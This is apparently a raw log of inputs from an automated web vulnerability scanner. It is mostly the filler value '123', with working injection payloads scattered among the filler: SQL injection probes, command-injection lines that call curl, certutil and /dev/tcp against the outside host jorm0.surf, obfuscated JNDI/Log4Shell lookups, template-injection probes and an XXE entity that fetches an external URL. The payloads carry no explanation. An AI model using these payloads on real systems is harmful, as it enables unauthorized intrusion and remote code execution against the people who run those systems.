123

123

123

123

123

123

123'"\(

123

123

123

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1559688396')))

123'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1239432618')))>'0

123鎈'"\(

123'and(select'1'from/**/cast(md5(1710715527)as/**/int))>'0

123/**/and/**/cast(md5('1306436521')as/**/int)>0

123'and/**/extractvalue(1,concat(char(126),md5(1882694159)))and'

123"and/**/extractvalue(1,concat(char(126),md5(1713149837)))and"

extractvalue(1,concat(char(126),md5(1633237059)))

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

123

3ZFy5H ; echo -e "GET /aa89me.4yat5n.13024c.jorm0.surf HTTP/1.1\nHost: 127.0.0.1:8080\n\n" > /dev/tcp/jorm0.surf/80

123

123

123

123

HOfdAB || curl -m 5 http://jorm0.surf/x8b6tl.4yat5n.5b57a4.jorm0.surf ||

123

P2AC4D ; certutil.exe -urlcache -f http://jorm0.surf/q607ep.4yat5n.abc866.jorm0.surf

123

123

123

123

123

123

123

EF1gY7 && curl -m 5 http://jorm0.surf/h3ewdo.4yat5n.850ffe.jorm0.surf &&

123

Z3Lld8 || curl -m 5 http://jorm0.surf/meh278.4yat5n.fa049c.jorm0.surf

123

123

123

123

Dc4urH ; curl -m 5 http://jorm0.surf/8r9dsd.4yat5n.cd2551.jorm0.surf

123

123

Ob3wpV ; curl -m 5 http://jorm0.surf/40utiq.4yat5n.64d628.jorm0.surf ;

123

123

123

1UCLYr && curl -m 5 http://jorm0.surf/znu0qh.4yat5n.c44dd1.jorm0.surf

123

123

$(curl -m 5 http://jorm0.surf/lcb2xg.4yat5n.c744a5.jorm0.surf)

123

123

123

curl -m 5 http://jorm0.surf/dypxcx.4yat5n.0dcfe9.jorm0.surf

123

%3Bnew+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/mlu5l2.lkyzyy.b7bcbc.jorm0.surf%22%29%3B

123

dZO0U3 ; echo -e "GET /09gpnf.uw318k.6db638.jorm0.surf HTTP/1.1\nHost: 127.0.0.1:8080\n\n" > /dev/tcp/jorm0.surf/80

123

123

;new javax.naming.InitialContext().lookup("rmi://jorm0.surf/g6pcsh.lkyzyy.b22c63.jorm0.surf");

HouWqQ ; certutil.exe -urlcache -f http://jorm0.surf/pxyers.uw318k.737a9a.jorm0.surf

VRijcX || curl -m 5 http://jorm0.surf/6pp0bq.uw318k.21832b.jorm0.surf

%24%7B%27%27.getClass%28%29.forName%28%22javax.naming.InitialContext%22%29.newInstance%28%29.lookup%28%27rmi://jorm0.surf/8sn7cf.lkyzyy.c36312.jorm0.surf%27%29%7D

123

fVR1rn || curl -m 5 http://jorm0.surf/rybnk6.uw318k.48a7f4.jorm0.surf ||

${:-y$}{${i7c:-j}nd${env:cc8:-}i:d${g5h::-n}s://nk4h6e.hs08ch.552f99.jorm0.surf?Type=A Type&Name=1100110&Char=!}

zmrquV && curl -m 5 http://jorm0.surf/1tpkgn.uw318k.0202ed.jorm0.surf &&

${''.getClass().forName("javax.naming.InitialContext").newInstance().lookup('rmi://jorm0.surf/x991s7.lkyzyy.05b0fa.jorm0.surf')}

123

Zl5JVZ && curl -m 5 http://jorm0.surf/0l2g3m.uw318k.66691e.jorm0.surf

new+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/e25gmw.lkyzyy.a128c7.jorm0.surf%22%29

123

123

dlpGlk ; curl -m 5 http://jorm0.surf/vi9b57.uw318k.988c2b.jorm0.surf ;

new javax.naming.InitialContext().lookup("rmi://jorm0.surf/dw1q2z.lkyzyy.1ad5f6.jorm0.surf")

123

mFdkdA ; curl -m 5 http://jorm0.surf/g0x5hz.uw318k.7f6da9.jorm0.surf

123

1.class.forName%28%22javax.naming.InitialContext%22%29.newInstance%28%29.lookup%28%22rmi://jorm0.surf/f8iibv.lkyzyy.029844.jorm0.surf%22%29

1.class.forName("javax.naming.InitialContext").newInstance().lookup("rmi://jorm0.surf/zr6rzy.lkyzyy.bc2864.jorm0.surf")

123

new+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/vif9bb.lkyzyy.818f17.jorm0.surf%22%29

123

123

curl -m 5 http://jorm0.surf/z2xhhd.uw318k.475d2b.jorm0.surf

123

new javax.naming.InitialContext().lookup("rmi://jorm0.surf/u15883.lkyzyy.3bb997.jorm0.surf")

123

$(curl -m 5 http://jorm0.surf/5pw46g.uw318k.1045bd.jorm0.surf)

123

123

123

123

123

123

123

123

123

123

123

123

123

expr 943840581 + 954589001

123

123

123

123&set /A 852410659+848536745

123

123

123

123$(expr 925773336 + 919833767)

123

123

123

123

123|expr 975911978 + 906195446

123

123

123

123

123

123

123

123

123

123

123"and"HQYE"="KpBY

123

'-var_dump(md5(360100251))-'

123

123 expr 801764178 + 826230786

123

${@var_dump(md5(798599710))};

123

123'and'rLSB'='AZEH

123

123

123"and"cCSK"="cCSK

<%- 974581909+909443105 %>

123

123+and+2773=5317

123

123'and'wQLs'='wQLs

123

${(857419498+993034284)?c}

#set($c=933914693+819527549)${c}$c

123+and+3561=3561

123

123

123

123/**/and+3949=2467

123

/*1*/{{870314545+879186663}}

123

123

123

123

${877866663+875164114}

12392

123/**/and+9602=9602

__${new javax.naming.InitialContext().lookup(new String(new char[]{114,109,105,58,47,47,106,111,114,109,48,46,115,117,114,102,47,50,97,118,120,49,99,46,48,99,109,49,110,122,46,54,50,51,97,57,49,46,106,111,114,109,48,46,115,117,114,102}))}__::.x

123

123

${jndi:dns://03he6p.hs08ch.975dae.jorm0.surf}

123

123

123

123

123

123

${836311719+940605053}

<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://jorm0.surf/gnka3b.g4vkre.5299af.jorm0.surf">]><a>&content;</a>